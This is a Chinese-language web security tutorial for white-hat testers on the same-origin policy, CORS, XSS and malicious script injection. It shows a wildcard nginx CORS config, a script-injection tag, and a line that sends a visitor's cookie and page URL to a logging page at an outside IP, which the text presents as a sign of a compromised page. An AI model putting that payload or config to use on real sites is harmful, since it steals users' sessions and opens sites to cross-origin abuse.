今天,我们来讲一下Web安全!
本文章仅提供学习,切勿将其用于不法手段!
目前,在渗透测试领域,主要分为了两个发展方向,分别为Web攻防领域和PWN(二进制安全)攻防领域。Web 攻防领域,涉及到一些知识点,本系列教程,就来科普一下这些知识点。
1、同源策略
大家需要注意,同源策略,是基于浏览器而实现的!
如果客户端,是我们自己编制的浏览器,或者是自己编制的可以解析网页内容的脚本,那么,我们是可以突破同源策略限制的!这就好像JS脚本只能检测表单提交数据的合法性,但是如果我们不通过浏览器,而是使用特定的脚本去向服务端发起GET/POST/PUT之类的请求,那么JS脚本对于表单被提交数据的合法性检测,就变得意义不大了!我们可以完全绕过JS脚本的安全检测,直接构造特定的HTTP请求数据包,向Web服务端发起HTTP请求。毕竟,Web服务端验证的只是HTTP请求数据包的格式合法性,仅此而已!
同源策略,对于一些标签,是无效的!
iframe 标签、javascript 标签 等,都是可以绕过同源策略限制的!
XMLHttpRequest 在 Ajax 异步请求中,被常规性的用到,并且其受到同源策略的限制。
但是,如果 Web服务端 允许跨域请求,即 HTTP Response 返回了 Access-Control-Allow-Origin 为真,那么,我们就可以使用 XMLHttpRequest 在 Ajax 异步请求中去进行跨域提交了。
大家可以了解下,XMLHttpRequest 跨域访问标准!
在 Nginx 类型的Web服务器中,我们可以通过在配置文件中写入如下内容来开启 Nginx 对于 XMLHttpRequest 跨域提交的支持!
location / {
add_header Access-Control-Allow-Origin *;
add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';
add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X- Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';
if ($request_method = 'OPTIONS') {
return 204;
}
}
我们需要知道,允许跨域提交,可能会产生一定的信息安全风险!、
白帽黑客,在进行渗透测试工作时,可以检测一下, 被评估目标 是否被允许进行 XMLHttpRequest 的 跨域提交!
由于 浏览器的同源策略,并没有对 script 等标签进行同源限制,这导致了 恶意黑客 可以利用这一特性,并通过一些 Web 网站中所存在的XSS注入漏洞,将一些恶意的代码(包含 script 相关内容,而 script 的 src 属性的值,可能是指向某个其它域的、包含木马脚本的URL地址)内容嵌入到 Web 网站的指定页面中。这种行为,被俗称"网页挂马"!
XSS漏洞,危害还是非常大的!
因为 XSS漏洞,经常被 恶意黑客 们 去用来实施 网页挂马 行为!
作为白帽子黑客,检测 被评估目标 是否存在XSS 注入漏洞,检测 被评估目标 是否允许 跨域访问,是非常重要的!对于检测被评估目标的网页内容中,是否包含跨域脚本,跨域脚本内容是否安全,同样应该得到 白帽黑客 们的高度重视!
网页木马,为什么危害巨大?
网页木马,可以直接针对浏览器所存在的安全漏洞进行特定攻击,从而利用浏览器的安全漏洞执行恶意代码,并获得浏览挂马网页的用户的电脑控制权!
想要防御网页木马,想要洞悉网页木马的工作原理,你就必须要对一些操作系统和浏览器的技术实现有所了解!
在 Windows 系列的操作系统环境中,DEP(数据执行保护)、ASLR(针对缓冲区溢出的安全保护技术)、SafeSEH(安全异常处理) 等内存保护技术,我们是需要有一定了解的!当然 这牵涉到了 PWN 的 二进制安全 领域,所以在本系列教程中,不做过多的讲述。
对于PWN领域有兴趣的童鞋儿,可以参考我的其它有关于 PWN 领域的技术文章。
下面,我们来看一下,网页渗透技术的相关案例!
注意,我们了解攻击技术原理,是为了使渗透测试行为变得更加有效!是为了能够更好的进行信息安全防御,绝不是为了去进行违法犯罪行为!
我们在进行渗透测试行为时,想要在网页中进行跨域脚本的嵌入,我们必须了解HTML语言的相应语法。HTML语言,是标签语言!HTML语言,由众多标签构成!HTML语言的标签元素,一般都是成对出现的!例如:<video></video>、<div></div>、<script></script>、<style></style>等。
想要在网页中实现跨域脚本的嵌入,我们可以这样做:
<script type="text/javascript" src="指定的跨域脚本的URL地址"></script>
注意!script 标签 的 type 属性,表述的是 当前脚本是 基于JavaScript 脚本语言的 (浏览器支持的脚本语言,还有 VBScript ,不过 VBScript 在浏览器环境中并不算常用。通常情况下,一些木马病毒脚本,可能会利用 Windows 系统的 Dom 组件 环境特性 ,结合 VBScript 脚本语言,进行系统攻击等恶意行为!所以,大家不要轻易的去点击或运行 以 .vbs 扩展名为结尾的相关可执行脚本文件。这样做,可能会很危险!)。script 标签 的 src 属性,指向跨域脚本的URL地址!
<script type="text/javascript">
alert(document.location.href); //可以弹出对话框,并显示出当前网页的URL地址!
alert(document.cookie); //可以弹出对话框,并显示出当前用户在当前网站中的COOKIE信息!
</script>
注意,如果看到类似于下面这样的JS脚本内容:
document.location.href="指定用于记录信息的URL地址"+document.cookie;
例如,document.location.href="http://172.22.165.51/jilu.php?web_url="+document.location.href+"&user_cookie="+document.cookie;
那么意味着,这个网页,可能已经被挂马了!
如果你非常不幸地访问到了包含这样内容的代码,那么你的指定网站账号信息,可能会被恶意黑客盗取!
身为一名白帽子黑客,我们要重点检测下,被评估目标的 网页内容 是否可以被 " 挂马 " !
我们应当注意!一些浏览器插件、浏览器的应用扩展,往往是不受 Sandbox 浏览器沙箱 管辖的!
这意味着,一但 浏览器插件、浏览器的应用扩展 等存在安全风险!那么,后果将是非常严重的!